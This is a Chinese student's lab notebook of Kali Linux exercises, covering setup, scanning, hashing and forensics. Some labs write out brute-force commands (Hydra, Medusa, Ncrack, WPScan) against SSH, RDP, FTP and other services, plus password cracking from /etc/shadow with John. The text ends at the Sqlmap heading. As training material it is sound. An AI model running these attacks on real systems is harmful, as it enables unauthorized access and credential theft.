学校寒假放了点作业出来
做个笔记
实验 1 配置Kali
实验场景
小明是网络工程师,某天他收到上级领导命令,需要在网络中部署一台Kali服务器,为…
实验环境
Kali 2016
实验工具
无
实验目的
对Kali进行网络配置,修改主机名和root密码,修改源配置文件并进行系统更新
实验步骤
1. 修改主机名
- 临时修改主机名,重启会还原
- 永久修改主机名,需要重启才能生效
- 修改
/etc/hosts配置文件
2. 配置Kali的网络
- 修改本机的网卡设置,设置为dhcp获取IP方式,也可以设置成静态IP,需要给网卡配置IP地址
1
vi /etc/network/interfaces
3. 查看当前用户是否是root,修改root密码
4. 修改Kali的源配置文件,添加国内的源,并进行系统升级
- 添加中科大的源
1
2
3vi /etc/apt/sources.list
deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
deb-src http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib - 执行更新指令等待更新完成
1
apt-get update && apt-get upgrade && apt-get dist-upgrade
实验总结
Kali版本众多,最新版本中会添加一些最新的工具和软件,需要持续进行更新。
实验 2 Web应用程序-Dirb
实验场景
小明是网络工程师,某天他收到上级领导命令,需要在Kali服务器使用Dirb软件,为…
实验环境
攻击机Kali 2018
靶机Windows 7 192.168.163.
实验工具
Dirb
实验目的
了解并掌握Dirb对网站进行扫描
实验步骤
DIRB是一个Web内容扫描。它看起来对现有(和/或隐藏)的Web对象。它主要的工作原理是发动了对Web服务器的基于字典的攻击和分析的响应。
DIRB带有易于使用的一组预配置的攻击生词,但你可以用你自定义的词表。此外DIRB有时可以作为一个典型的CGI扫描器,但要记住是一个内容扫描仪没有漏洞扫描器。
DIRB主要目的是在专业的Web应用程序的审核帮助。特别是在与安全相关的测试。它没有涵盖的经典网页漏洞扫描器一些漏洞。 DIRB寻找其他通用CGI扫描器无法查找特定的Web对象。它不搜索的漏洞,也没有寻找网页内容,可以vulnerables。
直接在终端启动软件
1 | dirb |
扫描Web服务器(http://192.168.163.147:88/)利用系统自带字典文件
(/usr/share/wordlists/dirb/common.txt)
1 | dirb http://192.168.163.147:88/ /usr/share/wordlists/dirb/common.txt |
使用自备字典进行扫描
1 | dirb http://192.168.163.147:88 /root/test.txt |
实验总结
掌握使用Dirb对Web进行扫描,查看软件的扫描报告文件
实验 3 报告工具-pipal
实验场景
小明是网络工程师,某天他收到上级领导命令,需要在Kali服务器使用pipal工具,为…
实验环境
Kali 2018
实验工具
Pipal
实验目的
掌握密码分析工具pipal的使用方法
实验步骤
所有这些工具确实是给你的统计数据和信息,以帮助您分析密码。真正的工作是由你解释的结果进行。
查看帮助
1 | pipal –h |
分析本地password.txt文件,可以分析密码文件的词频等信息
1 | pipal /root/password.txt |
分析并显示前 5 个密码(-t 5),使用给定文件作为输入(/usr/share/wordlists/nmap.lst):
1 | pipal –t 5 /usr/share/wordlists/nmap.lst |
实验总结
pipal是一款词频分析工具,可以用来在字典中筛选出出现频率高的密码
实验 4 漏洞分析-unix-privesc-check
实验场景
小明是网络工程师,某天他收到上级领导命令,需要在kali服务器使用unix-privesc-check,为避免在部署时候出现什么问题,小明首先在自己的虚拟机上搭建一遍环境。
实验环境
kali 2016
实验工具
unix-privesc-check
实验目的
了解unix-privesc-check工具的使用
实验步骤
1. 查看帮助
1 | unix-privesc-check -h |
standard:标准”模式:速度优化检查大量的安全设置。detailed:“详细”模式:与标准模式相同,但也检查打开文件的perms句柄和被调用的文件(例如从shell脚本分析,链接的.so文件)。 这种模式很慢。
2. 使用标准模式扫描本地
1 | unix-privesc-check standard |
3. 把报告保存到本地文件
1 | unix-privesc-check > baogao.txt |
4. 查看报告
1 | cat baogao.txt |
实验总结
unix-privesc-check是Kali Linux自带的一款提权漏洞检测工具。它是一个Shell文件,可以检测所在系统的错误配置,以发现可以用于提权的漏洞。
实验5 kali-漏洞扫描-lynis
实验场景
小明是网络工程师,某天他收到上级领导命令,需要在kali服务器使用lynis工具,为避免在部署时候出现什么问题,小明首先在自己的虚拟机上搭建一遍环境。
实验环境
kali 2018
实验工具
lynis
实验目的
了解漏洞扫描工具lynis的使用
实验步骤
1. 启动lynis并列出支持的参数
1 | lynis |
2. 对本地进行安全扫描
1 | lynis audit system |
3. 查看扫描日志(需要注意的是,每次审计都会覆盖原日志文件)
日志保存在/var/log/lynis-report.dat
1 | grep –E “^warning|^suggestion” /var/log/lynis-report.dat |
4. 检查更新
1 | lynis update info --no-colors |
5. 创建Lynis计划任务
如果你想为你的系统创建一个日扫描报告,你可以设置cron:
1 | crontab -e |
添加cron任务:
实验总结
观察lynis工具能否扫描出系统存在的漏洞,如果存在该如何进行加固
实验6 kali-漏洞扫描-WPScan
实验场景
小明是网络工程师,某天他收到上级领导命令,需要在kali服务器使用pipal工具,为避免在部署时候出现什么问题,小明首先在自己的虚拟机上搭建一遍环境。
实验环境
攻击机 kali 2018
靶机 windows 7 192.168.163.
实验工具
攻击机:wpscan
靶机:wordpress
实验目的
了解wpscan的使用
实验步骤
1. 简单的攻击
1 | wpscan –u 192.168.163.147/wordpress |
2. 列出用户名列表
1 | wpscan –u 192.168.163.147/wordpress –e u vp |
3. 通过字典爆破用户密码
1 | wpscan –u 192.168.163.147/wordpress –e u –wordlist /root/password.txt |
4. 了解其它参数
1 | wpscan – h |
实验总结
思考WPScan的作用场景是否有特定版本号要求
实验 7 密码攻击-cewl
实验场景
小明是网络工程师,某天他收到上级领导命令,需要在kali服务器使用cewl工具,为避免在部署时候出现什么问题,小明首先在自己的虚拟机上搭建一遍环境。
实验环境
kali 2018
windows 7 192.168.163.
实验工具
cewl
实验目的
掌握密码爬取工具cewl的使用
实验步骤
1. 直接在终端启动cewl
1 | cewl –h |
2. 爬取最小单词长度为 5
1 | cewl 192.168.163.147:88 –m 5 |
3. 爬取网站深度为 5 的关键字
1 | cewl – d 5 192.168.163.147:88 |
4. 收集包含emali地址信息
1 | cewl – e 192.168.163.147:88 |
5. 统计每个单词出现的次数
1 | cewl 192.168.163.147:88 –c |
6. 可以多个参数一起使用
1 | cewl 192 |
7. 查看a.txt字典
1 | cat a.txt |
实验总结
使用通过cewl工具爬取的字典文件,使用它去爆破网站的后台
实验 8 取证工具-dumpzilla
实验场景
小明是网络工程师,某天他收到上级领导命令,需要在kali服务器使用dumpzilla工具,为避免在部署时候出现什么问题,小明首先在自己的虚拟机上搭建一遍环境。
实验环境
kali 2018
实验工具
Dumpzilla
实验目的
了解取证工具Dumpzilla的使用
实验步骤
1. 查看dumpzilla工具帮助
1 | Dumpzilla – h |
2. 分析Mozilla的配置文件夹(’/root/.mozilla/firefox/4ed7jhtz.default/‘)的历史访问记录
1 | dumpzilla '/root/.mozilla/firefox/4ed7jhtz.default/' –History |
3. 分析Mozilla的配置文件夹(’/root/.mozilla/firefox/4ed7jhtz.default/‘)的Cookies
1 | dumpzilla '/root/.mozilla/firefox/4ed7jhtz.default/' –-Cookies |
4. 分析Mozilla的配置文件夹(’/root/.mozilla/firefox/4ed7jhtz.default/‘)和转储以外的所有影像数据(-All)
1 | dumpzilla '/root/.mozilla/firefox/4ed7jhtz.default/' --All |
实验总结
思考dumpzilla工具除了分析本机的浏览器文件是否还能分析远程主机的配置文件。
实验9 apache服务配置
实验场景
小明是网络工程师,某天他收到上级领导命令,需要在kali服务器安装apache服务,为避免在部署时候出现什么问题,小明首先在自己的虚拟机上搭建一遍环境。
实验环境
kali 2016
实验工具
apache 2
实验目的
掌握kali下apache的配置
实验步骤
查看本机安装的apache版本号
1 | apachectl –v |
启动apache服务
1 | /etc/init.d/apache2 start |
重启apache服务
1 | /etc/init.d/apache2 restart |
停止apache服务
1 | /etc/init.d/apache2 stop |
下载默认首页并查看网页内容
1 | wget http://127.0.0.1 |
进入apache默认首页的目录
1 | cd /var/www/html |
替换默认首页内容为 123
1 | echo "123" > index.html |
重启apache服务
1 | /etc/init.d/apache2 restart |
下载默认首页
1 | wget http://127.0.0.1 |
查看下载首页内容
1 | cat index.html |
实验总结
在kali上成功运行个人网页
实验 10 产品安全分析工具
实验场景
小明是网络工程师,某天他收到上级领导命令,需要在kali服务器使用glob工具,为避免在部署时候出现什么问题,小明首先在自己的虚拟机上搭建一遍环境。
实验环境
攻击机:kali
靶机:centos 6.9
靶机ip地址:192.168.163.136
实验工具
glob
实验目的
掌握glob的使用
实验步骤
启动kali中cisco的安全工具
1 | cge.pl |
选择一个漏洞,并按照所给的格式进行测试,网址后面添加漏洞编号
1 | cge.pl http://192.168.163.136/index.html 3 |
CAT -h 主机名 - w 字典文件 - a 密码文件 - i
(直接在终端输入CAT直接启动,这里没有cisco设备,无法复现实验)
实验总结
如果有cisco设备,使用glob工具对其进行检测
实验11 pure-ftpd配置
实验场景
小明是网络工程师,某天他收到上级领导命令,需要在kali服务器使用pure-ftpd工具,为避免在部署时候出现什么问题,小明首先在自己的虚拟机上搭建一遍环境。
实验环境
kali
实验工具
pure-ftpd
实验目的
掌握按照和配置pure-ftpd
实验步骤
安装 Pure-FTPd
1 | apt-get install pure-ftpd |
修改配置
1 | cd /etc/pure-ftpd/conf |
创建FTP服务要用到的用户组和用户
1 | groupadd ftpgroup |
向创建的组里面添加新用户
1 | useradd -g ftpgroup -d /dev/null -s /bin/false ftpuser |
为FTP文件新建一个目录
1 | mkdir -p /home/pubftp |
在ftp目录下新建一个测试文件
1 | echo "test file" > /home/pubftp/test.txt |
在FTP目录里面添加用户目录
1 | mkdir /home/pubftp/sam |
给FTP服务添加一个新的用户和密码
1 | pure-pw useradd sam -u ftpuser -g ftpgroup -d /home/pubftp/sam |
更新Pure-FTPd的数据库
1 | pure-pw mkdb |
启动FTP服务
1 | service pure-ftpd start |
启动FTP后,测试该服务
1 | ftp 127.0.0.1 |
实验总结
思考这里的pure-ftpd和Linux的FTP以及vsftpd是否一样
实验场景
小明是网络工程师,某天他收到上级领导命令,需要在kali服务器使用db_import工具,为避免在部署时候出现什么问题,小明首先在自己的虚拟机上搭建一遍环境。
实验环境
kali 2016
centos 6.9
**实验工具
**
Metasploit
Nmap
实验目的
把nmap扫描的数据导入metasploit
实验步骤
- 在kali虚拟机上测试与靶机的连通性
1 | ping 192.168.127.133 -c 4 |
- 在靶机centos上测试与kali的连通性
1 | ping 192.168.127.134 -c 4 |
- 在kali上使用nmap进行局域网存活扫描并把结果保存为db.xml
1 | nmap -sP 192.168.127.0/24 -oX db.xml |
- 查看刚保存的文件
1 | cat db.xml |
- 在kali中启动metasploit并查看数据库中是否有数据,如果有数据使用
hosts -d进行清空
1 | msfconsole |
- 利用db_import把刚刚nmap扫描的数据导入到数据库中(注意文件路径)
1 | db\_import /root/db.xml |
- 使用
hosts查看数据
1 | hosts |
- 过滤出其中开启22端口的主机
1 | services -p 22 -c name,proto |
- 过滤出开启21端口的主机
1 | services -p 21 -c name,proto |
实验总结
掌握msf下db_import导入数据功能的使用
实验13 web扫描-Nikto
实验场景
小明是网络工程师,某天他收到上级领导命令,需要在kali服务器使用Nikto工具,为避免在部署时候出现什么问题,小明首先在自己的虚拟机上搭建一遍环境。
实验环境
kali 2016
实验工具
Nikto
实验目的
掌握Nikto的使用
实验步骤
Nikto 是一款Perl语言开发的开源代码的、功能强大的WEB扫描评估软件,能对web服务器多种安全项目进行测试的扫描软件。
扫描内容有以下几个方面:
- 软件版本
- 搜索存在安全隐患的文件(如:某些web维护人员备份完后,遗留的压缩包,若被下载下来,则获得网站源码)
- 服务器配置漏洞(组件可能存在默认配置)
- WEB Application层面的安全隐患(XSS,SQL注入等)
- 避免 404 误判
1 | nikto -list-plugins |
制定网站目录扫描
1 | nikto –host http://192.168.21.128/index/ |
指定一个或多个端口进行扫描
1 | nikto –host 192.168.21.128 –port 80,443 |
还可以进行批量扫描
1 | nikto –host host.txt |
把扫描结果导成文件保存在本地
1 | nikto –host 192.168.21.128 –port 80 –output nikto.html |
用cat查看该文件也可以使用火狐打开该文件
1 | cat nikto.html |
实验总结
观察Nikto的端口扫描和nmap的扫描结果是不是一样,如果不一样,谁的结果更准确一点
实验 14 哈希工具Hash-Identifier
实验场景
小明是网络工程师,某天他收到上级领导命令,需要在kali服务器使用Hash-Identifier
工具,为避免在部署时候出现什么问题,小明首先在自己的虚拟机上搭建一遍环境。
实验环境
kali 2018
实验工具
hash-identifier
实验目的
了解工具的使用
实验步骤
1. 哈希值识别
哈希值是使用HASH算法通过逻辑运算得到的数值。不同的内容使用HASH算法运算后,得到的哈希值不同。当我们拿到一段hash值时该如何去判断它是属于那种算法。
在终端中启动hash-identifier,提示输入hash值。
1 | hash-identifier |
2. 识别测试数据
打开root目录下的HASH.txt文件,里面有几组测试数据,后面是hash编码。
- 复制第一组数据到hash-identifier,判断该hash值最大可能的算法是MD5,最小可能性的是下面其它算法。
1 | hash-identifier [first\_hash\_value] |
- 复制第二组数据到hash-identifier,识别结果是MD5(phpBB3)。
1 | hash-identifier [second\_hash\_value] |
- 复制第三组数据到hash-identifier,识别结果是MD5(Unix)。
1 | hash-identifier [third\_hash\_value] |
- 复制第四组数据到hash-identifier,识别结果是MD5(Wordpress)。
1 | hash-identifier [fourth\_hash\_value] |
- 复制第五组数据到hash-identifier,识别结果是SHA-512。
1 | hash-identifier [fifth\_hash\_value] |
- 复制第六组数据到hash-identifier,识别结果最可能的算法是Tiger-192。
1 | hash-identifier [sixth\_hash\_value] |
实验总结
验证Hash-Identifier工具对MD5等常见编码是否能成功识别。
实验 15 离线攻击工具-John工具
实验场景
小明是网络工程师,某天他收到上级领导命令,需要在kali服务器使用John工具,为
避免在部署时候出现什么问题,小明首先在自己的虚拟机上搭建一遍环境。
实验环境
kali
实验工具
john
实验目的
掌握kali下john工具的使用
实验步骤
1. 启动John工具
先启动john软件,在终端输入以下命令。
1 | john |
2. 获取本机密码散列
利用john破解密码,首先需要散列,这里我们把本机的密码散列作为密码。
1 | unshadow /etc/passwd /etc/shadow > pasd |
3. 使用John破解密码
直接使用本地的散列去进行破解,破解出本机的root密码。
1 | john pasd |
实验总结
思考John工具成功爆破的前提是在哪?
实验 16 密码爆破-Medusa
实验场景
小明是网络工程师,某天他收到上级领导命令,需要在kali服务器使用Medusa工具,
来检测内网中是否存在弱口令服务,为避免在部署时候出现什么问题,小明首先在自己的虚
拟机上搭建一遍环境。
实验环境
攻击机 kali 2018
靶机 centos6.9
实验工具
medusa
实验目的
了解并掌握密码爆破软件medusa的基本用法
实验步骤
1. 启动Medusa
Medusa是支持AFP, CVS, FTP, HTTP, IMAP, MS-SQL, MySQL, NCP (NetWare), NNTP, PcAnywhere, POP3, PostgreSQL, rexec, rlogin, rsh, SMB, SMTP (AUTH/VRFY), SNMP, SSHv2, SVN, Telnet, VmAuthd, VNC的密码爆破工具。
在终端输入以下命令。
1 | medusa |
2. 查看可用模块
1 | medusa -d |
3. 查看模块帮助
1 | medusa -M telnet -q |
4. 爆破靶机的ssh
需要在本机先新增一个username.txt和password.txt。
1 | medusa -h 192.168.163.150 -u username.txt -P password.txt -M ssh |
实验总结
使用medusa工具批量爆破内网ip段,检测是否存在弱口令服务。
实验 17 远程爆破工具-Ncrack
实验场景
小明是网络工程师,某天他收到上级领导命令,需要在kali服务器使用Ncrack工具,
为避免在部署时候出现什么问题,小明首先在自己的虚拟机上搭建一遍环境。
实验环境
攻击机 kali 2018 192.168.163.154
靶机 windows 7 192.168.163.134
实验工具
Ncrack
实验目的
了解并掌握Ncrack工具的使用方法
实验步骤
1. 查看软件版本号
1 | ncrack –v |
3. 爆破windows主机的3389
需要先添加一个usename.txt和password.txt文件。
1 | ncrack -vv -U usename.txt -P password.txt 192.168.163.134:3389 CL=1 -f |
根据爆破结果,使用test/111111使用rdesktop可以正常连接。
实验总结
思考同样的爆破工具Ncrack和Medusa的差异和速度上有什么区别。
实验 18 主机系统识别-p0f
实验场景
小明是网络工程师,某天他收到上级领导命令,需要在kali服务器使用主机系统识别
p0f工具,为避免在部署时候出现什么问题,小明首先在自己的虚拟机上搭建一遍环境。
实验环境
kali
实验工具
p0f
xprobe2
实验目的
掌握使用工具来进行主机系统识别
实验步骤
1. 启动p0f监听
p0f是一款被动探测工具,通过分析网络数据包来判断操作系统类型。同时p0f在网络分析方面功能强大,可以用它来分析NAT、负载均衡、应用代理等。以下命令为监听网卡eth0并开启混杂模式。
1 | p0f -i eth0 -p |
2. 浏览器访问网页
通过浏览器去访问网页,能通过p0f观察到对方的系统。
实验总结
思考kali上最经典的扫描工具Nmap跟实验中p0f工具在识别结果上谁更准确。
实验 19 主机系统识别-xprobe2
实验场景
小明是网络工程师,某天他收到上级领导命令,需要在kali服务器使用xprobe 2 工具,
为避免在部署时候出现什么问题,小明首先在自己的虚拟机上搭建一遍环境。
实验环境
kali2016
实验工具
xprobe2
实验目的
使用xprobe2进行远程系统识别
实验步骤
xprobe2是一款使用ICMP消息进行操作系统探测的软件,探测结果可以和Nmap互为参照。但是该软件目前公开版本为2005年的版本,对老的操作系统探测结果较为准确。对远程主机探测,可以直接通过xprobe2并制定远程主机ip或者主机名。
1 | xprobe2 [remote\_host\_ip\_or\_name] |
实验总结
思考xprobe 2 识别主机方式跟nmap和p0f有什么不一样,可以通过抓包去分析。
实验 20 数据取证-Hashdeep
实验场景
小明是网络工程师,某天他收到上级领导命令,需要在kali服务器使用Hashdeep工具,为避免在部署时候出现什么问题,小明首先在自己的虚拟机上搭建一遍环境。
实验环境
kali 2018
实验工具
hashdeep
实验目的
了解数据取证工具hashdeep工具的使用
实验步骤
在数据取证中,通常需要验证文件的哈希值,以判断文件是否已知好文件,或者文件是否被修改过。Kali Linux提供专用工具hashdeep。该工具的早期版本名称为md5deep。该工具可以批量计算文件的哈希值,并和哈希值列表进行比对。该工具支持多种哈希算法,可以避免哈希碰撞问题。为了满足不同任务的需要,hashdeep提供多种检查模式,如审计模式、正向模式、反向模式。同时,该工具支持大小写不敏感和UTF编码, 以满足Windows文件系统分析需要。
直接启动软件:
1
hashdeep –h
直接生成本地文件hash值:
1
2
3
4
hashdeep –l ../\*
hashdeep –r test.txt > hash.txt根据已知的hash值文件进行hash校验,如果一样即通过,如果不一样即审核不通过:
1
hashdeep -r -a hash.txt test.txt
实验总结
了解了hashdeep工具,以后在下载文件时,可以通过hashdeep比对文件的hash是否一致来保障文件的安全性。
实验 21 NC端口通信实验
实验场景
小明是网络工程师,某天他收到上级领导命令,需要在kali服务器使用NC工具和centos进行通信,为避免在部署时候出现什么问题,小明首先在自己的虚拟机上搭建一遍环境。
实验环境
kali 2016
centos 6.9
实验工具
NC
实验目的
Nc是netcat的简写,有着网络界的瑞士军刀,因为它短小精悍、功能实用,是一款简单可靠的网络工具,学习它的基本使用
实验步骤
在kali虚拟机上测试与靶机的连通性:
1
ping 192.168.127.129 -c 4
在靶机centos上使用nc开启服务端口:
1
nc -l 9999
在kali上使用nmap对靶机进行端口扫描,发现9999端口是开放状态:
1
nmap -p1-65535 192.168.127.129
在靶机上使用telnet进行测试9999端口是否能访问:
1
telnet 192.168.127.129
在kali上使用nc语句和靶机通信:
1
nc 192.168.127.129 9999
在kali上输入语句的同时在靶机上也会进行实时显示:
1
My name is test
在centos上进行查看发现两者一样的显示。
在靶机使用nc开启udp端口:
1
nc -ul 9999
开启tcp时可以用telnet进行测试端口是否开启,但开启udp端口时,telnet却不能进行检测,此刻就需要使用到nc的udp端口检测语句:
1
nc -vuz 192.168.163.127.129 9999
实验总结
掌握kali和centos使用NC进行通信的实验。
实验 22 系统检查-Chkrootkit
实验场景
小明是网络工程师,某天他收到上级领导命令,需要在kali服务器使用Chkrootkit工具,为避免在部署时候出现什么问题,小明首先在自己的虚拟机上搭建一遍环境。
实验环境
kali 2018
实验工具
chkrootkit
实验目的
掌握chkrootkit工具的使用
实验步骤
chkrootkit是用来监测rootkit是否被安装到当前系统中的工具:
1
chkrootkit
如果发现有异常,会报出“INFECTED”字样。
查看其它命令:
1
chkrootkit –h
跳过NFS挂载目录进行检测:
1
chkrootkit -n
查看chkrootkit版本号:
1
chkrootkit –V
实验总结
尝试升级chkrootkit来检测本机是否存在疑问的文件。
实验 23 信息收集-Dmitry
实验场景
小明是网络工程师,某天他收到上级领导命令,需要在kali服务器使用Dmitry工具,为避免在部署时候出现什么问题,小明首先在自己的
虚拟机上搭建一遍环境。
实验环境
kali 2018 攻击机
windows 7 靶机 192.168.163.147
实验工具
dmitry
实验目的
掌握信息收集工具dmitry的使用
实验步骤
直接在终端中启动工具:
1
dmitry -h
对主机进行端口扫描:
1
dmitry –p 192.168.163.147
将输出保存到%host.txt或由-o文件指定的文件:
1
dmitry –p 192.168.163.147 –o test
扫描端口同时读取从扫描端口接收的banner:
1
dmitry – p 192.168.163.147 –b
对主机的域名执行whois查找(需要联网操作):
1
dmitry – w baidu.com
在主机上检索Netcraft.com信息(需要联网操作):
1
dmitry – n baidu.com
执行搜索可能的子域(需要联网操作):
1
dmitry – s baidu.com
执行搜索可能的电子邮件地址(需要联网操作):
1
dmitry – e baidu.com
实验总结
思考在Dmitry工具中如果探测内网主机是否需要联网。
实验 24 信息收集-Netdiscover
实验场景
小明是网络工程师,某天他收到上级领导命令,需要在kali服务器使用Netdiscover工具,为避免在部署时候出现什么问题,小明首先在自己的虚拟机上搭建一遍环境。
实验环境
kali 2016
实验工具
netdiscover
实验目的
了解netdiscover工具的使用
实验步骤
查看帮助:
1
netdiscover –h
扫描本地网卡设备:
1
netdiscover –i eth0
发送每个arp请求的次数,测试具有丢包的网络:
1
netdiscover –c 192.168.21.1
扫描给定范围的主机:
1
netdiscover –r 192.168.21.0/24
使用被动模式,只进行嗅探:
1
netdiscover –p
实验总结
掌握Netdiscover的嗅探模式,在特定地方有奇效。
实验25 NC传输文件实验
实验场景
小明是网络工程师,某天他收到上级领导命令,需要在kali服务器使用NC工具和centos进行文件传输实验,为避免在部署时候出现什么问题,小明首先在自己的虚拟机上搭建一遍环境。
实验环境
kali 2016
centos 6.9
实验工具
NC
实验目的
Nc是netcat的简写,有着网络界的瑞士军刀,因为它短小精悍、功能实用,是一款简单可靠的网络工具,使用nc进行文件传输
实验步骤
在kali虚拟机上测试与靶机的连通性:
1
ping 192.168.127.129 -c 4
在kali里面新建一个ceshi.txt文件并查看:
1
echo "this is test" > ceshi.txt
在靶机centos上使用nc监听端口9999,接受到的所有数据都写到test文件里:
1
nc -l 9999 > test.txt
在kali上面使用nc把本地的ceshi文件发送给靶机:
1
nc 192.168.127.129 9999 < ceshi.txt
在靶机上查看是否有文件生成(如果靶机接受文件不会自动停止,那就使用
ctrl+c中止文件接受语句):1
ls
在靶机上查看传输过来的文件看内容是否一致:
1
cat test.txt
实验总结
掌握kali和centos使用NC传输文件的操作。
实验 26 抓包工具–Netsniff-ng
实验场景
小明是网络工程师,某天他收到上级领导命令,需要在kali服务器使用
netsniff-ng工具,为避免在部署时候出现什么问题,小明首先在自己的虚拟机上搭建一遍环
境。
实验环境
kali 2018
实验工具
netsniff-ng
实验目的
掌握netsniff-ng工具使用
实验步骤
- 抓取TCP或者UDP协议报文保存到dump.pcap
1 | netsniff-ng --in eth0 --out dump.pcap tcp or udp |
- 直接打开会出现乱码,需要结合其他分析工具进行分析数据包
1 | capinfo dump.pcap |
- 测试网卡最高传输速率,方法是先用trafgen产生traffic让网卡满负荷,再用netsniff-ng抓包分析
1 | netsniff-ng -i eth0 - o /dev/shm/c1.pcap -s -n 1000000 -b 0 |
- 分析抓包的数据包
1 | capinfos /dev/shm/c1.pcap |
实验总结
对比Netsniff-ng和Wireshark的差异性在那。
实验27 Hash算法之MD5
实验场景
小明是网络工程师,某天他收到上级领导命令,需要在kali服务器使用
MD5工具,为避免在部署时候出现什么问题,小明首先在自己的虚拟机上搭建一遍环境。
实验环境
kali 2018
实验工具
md5sum
实验目的
掌握通过md5sum的使用和对比md5的HASH值
实验步骤
- 计算一个新建文件test.txt的md5值
1 | md5sum test.txt |
- 修改文件中内容再重新计算md5值,对比之下发现md5变了
1 | md5sum test.txt |
- 通过已知的md5值跟文件的md5值进行对比
1 | md5sum –c md5.txt |
实验总结
掌握kali自带的MD5计算小工具的使用
实验28 HASH算法之SHA
实验场景
小明是网络工程师,某天他收到上级领导命令,需要在kali服务器使用SHA工具,为
避免在部署时候出现什么问题,小明首先在自己的虚拟机上搭建一遍环境。
实验环境
kali 2018
实验工具
shasum
实验目的
掌握shasum工具等使用和对比文件HASH值
实验步骤
- 直接输出test.txt的SHA值
1 | shasum test.txt |
- 将sha1值输出到sha1.txt中
1 | sha1sum test.txt > sha1.txt |
- 通过已知的sha1对文件的完整性进行比对
1 | sha1sum –c sha1.txt |
实验总结
利用SHA1来快速比对文件的hash值是否发生变化
实验 29 黑客安防工具-Hydra
实验场景
小明是网络工程师,某天他收到上级领导命令,需要在kali服务器使用Hydra工具,为
避免在部署时候出现什么问题,小明首先在自己的虚拟机上搭建一遍环境。
实验环境
kali 2016
windows 7
实验工具
hydra
实验目的
了解hydra并掌握使用hydra工具
实验步骤
- 在终端输入hydra,可以看到相关使用语法
1 | hydra |
参数列表:
- -R 恢复上次停止的破解进度,继续破解
- -S 使用SSL连接
- -s PORT if the service is on a different default port, define it here
- -s 端口号 在这里自定义要破解的端口号(替代默认端口)
- -l LOGIN or -L FILE login with LOGIN name, or load several logins from FILE
- -l 登录名 或者 - L 字典 使用登录名 或者 从字典中获取登录名单
- -p PASS or -P FILE try password PASS, or load several passwords from FILE
- -p 密码 或者 - P 字典 使用单个密码 或者 从字典中获取密码列表
- -e ns 附加选项,n 是表示空密码,s 尝试使用密码进行破解
- -C FILE colon-separated “login:pass” format, instead of -L/-P options
- -C 文件 使用冒号分割格式 例如 “登录名:密码”来代替-L/-P参数
- -M FILE server list for parallel attacks, one entry per line
- -M 文件 服务器列表(译者:ip列表),一行一条
- -o FILE write found login/password pairs to FILE instead of stdout
- -o 文件 将找到的密码写在文件里面 以此代替输出到屏幕上
- -f 在使用-M参数以后 找到第一对登录名或者密码的时候中止破解
- -t TASKS run TASKS number of connects in parallel (default: 16)
- -t 计划任务 同时运行几个任务(默认是
: 16)
- -w TIME defines the max wait time in seconds for responses (default: 30)
- -w 时间 定义超时时间秒数(默认是: 30)
- -vV 详细显示用户名或者密码的破解过程
- 用法
1 | hydra 可选参数+必选参数+攻击地址+攻击类型 |
举例:使用hydra尝试爆破FTP服务器账号密码
- 先在kali终端中尝试登录FTP服务器,看服务是否正常
1 | ftp <target\_ip> |
- 查看本地的字典文件
1 | cat /usr/share/wordlists/rockyou.txt |
- 加载本地的密码文件来进行爆破
1 | hydra -l admin -P /usr/share/wordlists/rockyou.txt ftp://<target\_ip> |
- 使用爆破的密码进行登录
1 | ftp <target\_ip> |
其它的一些破解类型
- 使用hydra破解SSH的密码
1 | hydra -L users.txt -P password.txt -vV -o ssh.log -e ns IP ssh |
- 破解HTTPS
1 | hydra -m /index.php -l username -P pass.txt IP https |
- 破解Teamspeak
1 | hydra -l 用户名 - P 密码字典 - s 端口号 - vV ip teamspeak |
- 破解Cisco
1 | hydra -P pass.txt IP cisco |
- 破解SMB
1 | hydra -l administrator -P pass.txt IP smb |
- 破解POP3
1 | hydra -l muts -P pass.txt my.pop3.mail pop3 |
- 破解RDP
1 | hydra IP rdp -l administrator -P pass.txt -V |
- 破解HTTP-Proxy
1 | hydra -l admin -P pass.txt http-proxy://10.36.16.18 |
- 破解Telnet
1 | hydra IP telnet -l 用户 - P 密码字典 - t 32 -s 23 -e ns -f –V |
实验总结
掌握使用Hydra来爆破常见的服务
实验 30 黑客安防工具-Masscan
实验场景
小明是网络工程师,某天他收到上级领导命令,需要在kali服务器使用Masscan工具,为避免在部署时候出现什么问题,小明首先在自己的虚拟机上搭建一遍环境。
实验环境
- Kali 2016
- Windows 7
实验工具
- Masscan
实验目的
了解掌握masscan工具的使用和语法
实验步骤
Masscan的基本使用
在终端输入以下命令启动Masscan:
1
masscan
详细参数含义:
-p指定端口进行扫描--banners获取banner信息,支持少量的协议--rate指定发包的速率-c, --conf读取配置文件进行扫描--echo将当前的配置重定向到一个配置文件中-e, --adapter指定用来发包的网卡接口名称--adapter-ip指定发包的IP地址--adapter-port指定发包的源端口--adapter-mac指定发包的源MAC地址--router-mac指定网关的MAC地址--excludeIP地址范围黑名单,防止masscan扫描--excludefile指定IP地址范围黑名单文件--includefile, -iL读取一个范围列表进行扫描--ping扫描应该包含ICMP回应请求--append-output以附加的形式输出到文件--iflist列出可用的网络接口,然后退出--retries发送重试的次数,以1秒为间隔--nmap打印与nmap兼容的相关信息--http-user-agent设置user-agent字段的值--show [open,close]告诉要显示的端口状态,默认是显示开放端口--noshow [open,close]禁用端口状态显示--pcap将接收到的数据包以libpcap格式存储--regress运行回归测试,测试扫描器是否正常运行--ttl指定传出数据包的TTL值,默认为255--wait指定发送完包之后的等待时间,默认为10秒--offline没有实际的发包,主要用来测试开销-sL不执行扫描,主要是生成一个随机地址列表--readscan读取从-oB生成的二进制文件,可以转化为XML或者JSON格式--connection-timeout抓取banners时指定保持TCP连接的最大秒数,默认是30秒
示例命令:
1
masscan –p21,80,81,8080 192.168.163.0/24 --rate=10000
扫描指定21, 80, 81, 8080端口的192.168.163.0网段,以每秒10000个包的速率。
扫描指定IP文件中的地址
IP地址范围有三种有效格式:
单独的IPv4地址
类似”10.0.0.1-10.0.0.233”的范围地址
CIDR地址,类似于”0.0.0.0/0”,多个目标可以用逗号隔开
扫描ip.txt中IP从1-1000端口并获取banner信息,发包速率为10000:
1
masscan -p1-1000 --rate=10000 --banners -iL ip.txt
实验总结
掌握Masscan扫描工具的使用,对比其它的扫描软件的优势所在。
实验 31 注入工具-Sqlmap
实验场景
小明是网络工程师,某天他收到上级领导命令,需要在kali服务器使用Sqlmap工具,为避免在部署时候出现什么问题,小明首先在自己的虚拟机上搭建一遍环境。
实验环境
攻击机 Kali 2016
靶机 Windows 7 + mysqltest
实验工具
Sqlmap
实验目的
